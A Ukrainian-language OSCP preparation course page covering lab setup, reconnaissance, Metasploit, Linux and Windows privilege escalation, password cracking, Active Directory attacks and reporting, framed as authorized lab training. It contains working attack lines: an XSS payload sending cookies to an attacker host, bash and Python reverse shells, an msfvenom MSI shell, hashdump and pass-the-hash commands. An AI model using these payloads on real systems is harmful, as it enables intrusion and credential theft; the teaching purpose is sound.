Пентест (penetration testing) — це авторизована спроба зламати систему щоб знайти вразливості раніше за реальних зловмисників. OSCP — золотий стандарт сертифікації для пентестерів.
⚖️
Легальність понад усе. Пентест без письмового дозволу — це злочин. Весь матеріал цього курсу застосовується виключно на власних стендах, CTF платформах (HackTheBox, TryHackMe) або в межах авторизованого завдання.
Типи тестування
Black Box
Без інформації про ціль. Як реальний атакуючий.
Найреалістичніший
White Box
Повний доступ до коду, архітектури, схем.
Найповніший аналіз
Grey Box
Часткова інформація. Найпоширеніший у реальних проєктах.
Баланс
Red Team
Повна симуляція APT-атаки. Місяці роботи.
Просунутий рівень
Методологія пентесту
1
Розвідка (Recon)
Збір інформації про ціль: IP, домени, сервіси, співробітники. Пасивна і активна.
2
Сканування (Scanning)
Nmap, Nessus, Nikto — знаходимо відкриті порти, сервіси, версії ПЗ.
3
Експлуатація (Exploitation)
Використання знайдених вразливостей для отримання доступу.
Детальний звіт з доказами, ризиками та рекомендаціями.
Що таке OSCP?
OSCP (Offensive Security Certified Professional) — сертифікація від OffSec. Іспит: 24 години практичного зламу 5 машин + 24 години на написання звіту. Ніяких тестів з теорії — тільки реальні навички.
24-годинний іспит70 балів для проходження5 машин різної складностіВизнаний в усьому світі
💡
Ресурси для практики:hackthebox.com, tryhackme.com, vulnhub.com — всі легальні платформи з реальними машинами.
// Перевір себе
Що ОБОВ'ЯЗКОВО потрібно мати перед початком пентесту реальної системи?
// УРОК 02 — SETUP
Налаштування лабораторії
Перш ніж починати — тобі потрібне безпечне ізольоване середовище. Ніколи не тестуй на реальних системах без дозволу.
Що встановити
VirtualBox / VMware
Гіпервізор для запуску віртуальних машин
Безкоштовно
Kali Linux
ОС пентестера з 600+ інструментами
kali.org
Metasploitable 2/3
Навмисно вразлива ВМ для практики
Ціль для атак
DVWA
Вразливий веб-додаток для вивчення веб-атак
dvwa.co.uk
Мережева топологія лабораторії
lab-network
# Ізольована мережа (Host-Only або Internal Network)192.168.56.1← Твій хост (Windows/Mac)192.168.56.10← Kali Linux (атакуюча машина)192.168.56.20← Metasploitable (ціль)192.168.56.30← Windows Server (ціль)# ВАЖЛИВО: Internal Network = машини бачать одна одну# але не мають доступу до інтернету
Знімки (Snapshots): Роби знімок ВМ перед кожним тестом. Це дозволить відновити систему якщо щось піде не так.
// Перевір себе
Який тип мережі VirtualBox дає машинам зв'язок між собою БЕЗ доступу до інтернету?
// УРОК 03 — LINUX
Linux для пентестера
90% пентесту відбувається в терміналі. Знання Linux — не опція, а необхідність. Ось найважливіші команди які ти будеш використовувати щодня.
Навігація та файли
filesystem
$ pwd# поточна директорія$ ls -la# список файлів з правами$ cd /etc# перейти в директорію$ find / -name "*.conf" 2>/dev/null# знайти файли$ grep -r "password" /etc/ 2>/dev/null# пошук тексту$ cat /etc/passwd# переглянути файл$ file mystery# визначити тип файлу
Мережеві команди
networking
$ ip a# мережеві інтерфейси$ netstat -tulpn# відкриті порти$ ss -tulpn# сучасний аналог netstat$ curl -I http://target.com# заголовки HTTP$ wget http://target/file# завантажити файл$ nc -lvnp 4444# слухати порт (netcat)$ nc target 80# з'єднатися з портом
Права та користувачі
permissions
$ whoami# поточний користувач$ id# UID, GID, групи$ sudo -l# що можна виконати як sudo$ cat /etc/shadow# хеші паролів (потрібен root)$ chmod +x script.sh# зробити файл виконуваним$ find / -perm -4000 2>/dev/null# SUID файли
// Перевір себе
Яка команда показує що поточний користувач може виконати з правами sudo?
// УРОК 04 — NETWORKS
Мережі та протоколи
Розуміння мережевих протоколів — основа пентесту. Щоб знайти вразливість — спочатку треба зрозуміти як протокол працює.
Ключові протоколи
Порт
Протокол
Що шукати
21
FTP
Anonymous login, слабкі паролі, старі версії
22
SSH
Слабкі паролі, старі алгоритми, ключі
23
Telnet
Відкритий текст! Повний перехват трафіку
80/443
HTTP/HTTPS
SQLi, XSS, LFI, RFI, IDOR
139/445
SMB
EternalBlue, null sessions, share enumeration
3306
MySQL
Слабкі паролі, remote root
3389
RDP
BlueKeep, brute force, credential stuffing
5985
WinRM
Remote PowerShell, Evil-WinRM
TCP vs UDP
tcp-udp
# TCP — з підтвердженням (надійний)# Three-way handshake: SYN → SYN-ACK → ACKВикористовується: HTTP, SSH, FTP, SMB# UDP — без підтвердження (швидкий)Використовується: DNS (53), SNMP (161), TFTP (69)$ nmap -sU -p 53,161,69 target# сканування UDP
Перехоплення трафіку з Wireshark
wireshark filters
# Корисні фільтри Wiresharkhttp.request.method == "POST"# POST запитиftp.request.command == "PASS"# FTP пароліtcp.port == 445# SMB трафікip.addr == 192.168.1.1# трафік конкретного IPdns# всі DNS запити
// Перевір себе
На якому порту за замовчуванням працює SMB?
// УРОК 05 — RECON
Розвідка та Nmap
Nmap — найважливіший інструмент пентестера. Знаходить відкриті порти, визначає сервіси та їх версії, ОС, та може запускати скрипти перевірки вразливостей.
Основні типи сканування
nmap-scans
# SYN scan (швидкий, менш помітний)$ nmap -sS 192.168.56.20# Повне сканування: версії + скрипти + ОС$ nmap -sV -sC -O -p- 192.168.56.20# Швидке сканування топ-1000 портів$ nmap -T4 -F 192.168.56.20# Зберегти результат$ nmap -oA scan_results 192.168.56.20# Сканування мережі$ nmap -sn 192.168.56.0/24
# Reflected XSS — виконується в URLhttp://target/search?q=<script>alert('XSS')</script># Stored XSS — зберігається в БД і виконується для кожного# Поле коментаря:<script>document.location='http://attacker/steal?c='+document.cookie</script># Перевірка через BurpSuite# Proxy → Intercept → Modify Request → Send to Repeater
BurpSuite Community — безкоштовний інструмент для аналізу HTTP трафіку. Встановлено в Kali за замовчуванням. Обов'язково освой його для роботи з веб-вразливостями.
// Перевір себе
Який символ найчастіше використовується для перевірки SQL Injection?
// УРОК 07 — METASPLOIT
Metasploit Framework
Metasploit — найпоширеніша платформа для розробки та запуску експлойтів. Містить тисячі готових модулів для атак на різні системи.
Основні команди msfconsole
msfconsole
$ msfconsolemsf6 > search eternalblueexploit/windows/smb/ms17_010_eternalbluemsf6 > use exploit/windows/smb/ms17_010_eternalbluemsf6 exploit(ms17_010_eternalblue) > show optionsRHOSTS Target IP (required)LHOST Local IP for payloadmsf6 exploit > set RHOSTS 192.168.56.20msf6 exploit > set LHOST 192.168.56.10msf6 exploit > set payload windows/x64/meterpreter/reverse_tcpmsf6 exploit > run[*] Meterpreter session 1 opened
Meterpreter — після отримання доступу
meterpreter
meterpreter > sysinfo# інфо про системуmeterpreter > getuid# поточний користувачmeterpreter > getsystem# спроба підвищення до SYSTEMmeterpreter > hashdump# витягнути хеші паролівmeterpreter > shell# отримати cmd shellmeterpreter > download C:\\secret.txt# завантажити файлmeterpreter > screenshot# скріншот екрануmeterpreter > keyscan_start# кейлоггер
ℹ️
OSCP обмеження: На іспиті OSCP дозволено використовувати Metasploit лише для ОДНІЄЇ машини. Решту треба зламати вручну. Тренуйся без Metasploit!
// Перевір себе
Яка команда Meterpreter витягує хеші паролів з Windows?
// УРОК 08 — PRIVESC
Privilege Escalation — Linux
Отримали низькопривілейований shell? Тепер треба стати root. Privilege escalation — один з найважливіших навичок OSCP.
Перевірка SUID файлів
suid
# Знайти файли з SUID бітом (виконуються як власник)$ find / -perm -u=s -type f 2>/dev/null/usr/bin/passwd/usr/bin/find/usr/local/bin/customapp# підозрілий!# GTFOBins — база SUID експлойтів: gtfobins.github.io# Якщо find має SUID:$ find . -exec /bin/bash -p \; -quitbash-5.1# whoamiroot
Sudo права
sudo-privesc
$ sudo -lUser www-data may run the following commands: (ALL) NOPASSWD: /usr/bin/vim# vim може виконати shell команди!$ sudo vim -c ':!/bin/bash'root@target:~# iduid=0(root) gid=0(root)
Cron jobs
cron
$ cat /etc/crontab* * * * * root /opt/backup.sh# виконується як root!$ ls -la /opt/backup.sh-rwxrwxrwx root /opt/backup.sh# всі можуть писати!$ echo 'bash -i >& /dev/tcp/192.168.56.10/4444 0>&1' >> /opt/backup.sh# На атакуючій машині слухаємо:$ nc -lvnp 4444connect to [192.168.56.10] from targetroot@target:~#
💡
LinPEAS — автоматичний скрипт для пошуку шляхів privesc. Завантаж з GitHub: github.com/carlospolop/PEASS-ng
// Перевір себе
Що таке SUID біт у Linux?
// УРОК 09 — WINDOWS
Privilege Escalation — Windows
Windows має свої унікальні вектори підвищення привілеїв. AlwaysInstallElevated, слабкі сервіси, незашифровані credentials — все це веде до SYSTEM.
Збір інформації
windows-enum
REM Системна інформаціяsysteminfowhoami /privREM привілеї токенуnet usersREM список користувачівnet localgroup administratorsREM Запущені сервісиsc querywmic service list briefREM Заплановані задачіschtasks /query /fo LIST /vREM Встановлені програмиwmic product get name,version
AlwaysInstallElevated
alwaysinstallelevated
REM Перевірка реєструreg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedREM Якщо обидва = 1 — генеруємо MSI з reverse shell$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.10 LPORT=4444 -f msi -o evil.msiREM На Windows:msiexec /quiet /qn /i evil.msiSYSTEM shell отримано!
SeImpersonatePrivilege (Potato attacks)
potato
REM Якщо whoami /priv показує SeImpersonatePrivilegeREM Завантажуємо PrintSpoofer або GodPotato$ wget https://github.com/BeichenDream/GodPotato/releases/latestREM На цільовій машині:GodPotato.exe -cmd "cmd /c whoami"nt authority\system
💡
WinPEAS — аналог LinPEAS для Windows. Автоматично знаходить всі вектори privesc. Завантажуй з репозиторію PEASS-ng.
// Перевір себе
Яка команда Windows показує привілеї поточного токену доступу?
// УРОК 10 — PASSWORDS
Password Attacks
Слабкі паролі — найпоширеніша причина зламів. Hashcat, John the Ripper і hydra — основний арсенал для атак на паролі.
Типи хешів
Хеш
Приклад
Де зустрічається
MD5
5f4dcc3b5aa765d61d8327deb882cf99
Старі веб-додатки
NTLM
8846f7eaee8fb117ad06bdd830b7586c
Windows SAM/AD
SHA-256
5e884898da...28
Сучасні додатки
bcrypt
$2y$10$...
PHP додатки
NetNTLMv2
user::domain:...
Windows мережа
Hashcat
hashcat
# Визначити тип хешу$ hashid '5f4dcc3b5aa765d61d8327deb882cf99'[+] MD5# Атака за словником (MD5)$ hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt5f4dcc3b5aa765d61d8327deb882cf99:password# NTLM хеш$ hashcat -m 1000 ntlm.txt /usr/share/wordlists/rockyou.txt# З правилами (мутації паролів)$ hashcat -m 0 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Який режим (-m) використовує Hashcat для NTLM хешів?
// УРОК 11 — ACTIVE DIRECTORY
Active Directory атаки
Active Directory — серце корпоративних мереж. Хто контролює AD — контролює всю організацію. Kerberoasting, Pass-the-Hash, BloodHound — ключові техніки.
Kerberoasting
kerberoasting
# Запит TGS тікетів для service accounts# Потрібен будь-який доменний акаунт$ impacket-GetUserSPNs domain.local/user:pass -dc-ip 10.10.10.1 -request[*] Getting TGS for MSSQLSvc/sql.domain.local$krb5tgs$23$*MSSQLSvc*...(хеш для зламу)# Зламуємо офлайн$ hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
Pass-the-Hash
pass-the-hash
# Маємо NTLM хеш адміна — пароль не потрібен!$ evil-winrm -i 10.10.10.1 -u Administrator -H "aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c"*Evil-WinRM* PS C:\Users\Administrator># Або через impacket$ impacket-psexec domain/Administrator@10.10.10.1 -hashes :8846f7eaee8fb117ad06bdd830b7586c
BloodHound — картування AD
bloodhound
# Збір даних з домену$ bloodhound-python -u user -p pass -d domain.local -ns 10.10.10.1 -c all[*] Done. 1203 nodes, 4521 edges collected# Запуск BloodHound GUI → завантажити JSON файли# Запит: "Shortest path to Domain Admins"# BloodHound покаже граф атаки
// Перевір себе
Що таке Kerberoasting?
// УРОК 12 — BUFFER OVERFLOW
Buffer Overflow
Buffer overflow — класична вразливість де програма записує більше даних ніж виділено в буфері, перезаписуючи сусідню пам'ять включно з адресою повернення.
На OSCP не завжди є готовий Metasploit модуль. Треба вміти знаходити публічні PoC, адаптувати та запускати вручну. Python — основна мова для написання експлойтів.
Пошук публічних експлойтів
searchsploit
# searchsploit — локальна база exploit-db$ searchsploit vsftpd 2.3.4vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/17491.rb$ searchsploit -m unix/remote/17491.rb# скопіювати# exploit-db.com та github.com також# Пошук: "CVE-2021-XXXX PoC" або "servicename version exploit github"
Reverse Shell на Python
reverse-shell.py
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.56.10", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])
Shell Upgrade
shell-upgrade
# Отримали нестабільний shell? Покращуємо:$ python3 -c 'import pty;pty.spawn("/bin/bash")'# Ctrl+Z$ stty raw -echo; fg$ export TERM=xterm# Тепер є автодоповнення, Ctrl+C не вбиває shell, history працює
// Перевір себе
Яка команда дозволяє знайти локально збережені експлойти для конкретного сервісу?
// УРОК 14 — REPORTING
Звіт та документація
На OSCP іспиті без якісного звіту не зараховують машини навіть якщо ти їх зламав. Документування — така ж важлива навичка як і технічна частина.
Структура звіту OSCP
1
Executive Summary
Короткий огляд для керівництва: що знайдено, рівень ризику, пріоритети виправлення
2
Methodology
Які інструменти і техніки використовувались, часові рамки
3
Findings (по кожній машині)
IP → Сервіси → Вразливість → Proof of Concept → Рекомендація
4
Proof of Exploitation
Скріншот з whoami + hostname + ipconfig/ifconfig + прапорець
Обов'язковий скріншот для OSCP
proof-screenshot
# Linux — після root:root@target:~# whoami && hostname && ip a && cat /root/proof.txtroottarget-machine192.168.XX.XXa1b2c3d4e5f6... ← прапорець# Windows — після SYSTEM:whoamihostnameipconfigtype C:\Users\Administrator\Desktop\proof.txt
Інструменти для нотаток
CherryTree
Ієрархічні нотатки з підсвіткою синтаксису
Встановлено в Kali
Obsidian
Markdown нотатки з графом зв'язків
obsidian.md
Notion
Хмарні нотатки, зручно для звітів
notion.so
tmux
Кілька терміналів в одному вікні
Обов'язково вивчи!
// Перевір себе
Що ОБОВ'ЯЗКОВО має бути на скріншоті proof для OSCP іспиту?
// УРОК 15 — OSCP EXAM
Підготовка до іспиту OSCP
Іспит OSCP — 24 години активного пентесту + 24 години на звіт. 5 машин, 100 балів, потрібно 70. Ось як до нього підготуватись.
Розподіл балів
Тип
Бали
Деталі
Active Directory сет
40
3 машини (DC + 2), повна ланцюжок атаки
Standalone машина 1
20
local.txt (10) + proof.txt (10)
Standalone машина 2
20
local.txt (10) + proof.txt (10)
Standalone машина 3
20
local.txt (10) + proof.txt (10)
Bonus points
+10
80% завдань в PEN-200 лабораторіях
Платформи для практики
HackTheBox
Машини рівня OSCP, OSCP-like списки
hackthebox.com
TryHackMe
Навчальні кімнати, підходить для початку
tryhackme.com
PG Practice
OffSec власна платформа, найближча до іспиту
offensive-security.com
VulnHub
Безкоштовні ВМ для локальної практики
vulnhub.com
Стратегія іспиту
1
Починай з AD сету (0-4 год)
40 балів дають впевненість. Якщо застряг — переходь далі.
2
Standalone машини (4-18 год)
Методично: scan → enum → exploit → privesc. Нотатки на кожному кроці.
3
Відпочинок обов'язковий (18-20 год)
1-2 години сну або відпочинку критично важливі для ясного мислення.
4
Звіт (24-48 год)
Одразу після іспиту. Детально, зі скріншотами кожного кроку.
🏆
Try Harder — офіційна мантра OffSec. Якщо застряг — зроби перерву, повернись з свіжим поглядом, перечитай нотатки, спробуй інший вектор.
⚖️
Пам'ятай: Знання з цього курсу — для легального застосування. Ethical hacking, Bug Bounty, CTF, авторизовані тести. Несанкціонований доступ до систем — кримінальна відповідальність.
// Фінальний тест
Скільки балів потрібно для проходження іспиту OSCP?
🎉
Курс завершено!
Ти пройшов повний курс підготовки до OSCP. Практикуйся на HackTheBox та TryHackMe щодня.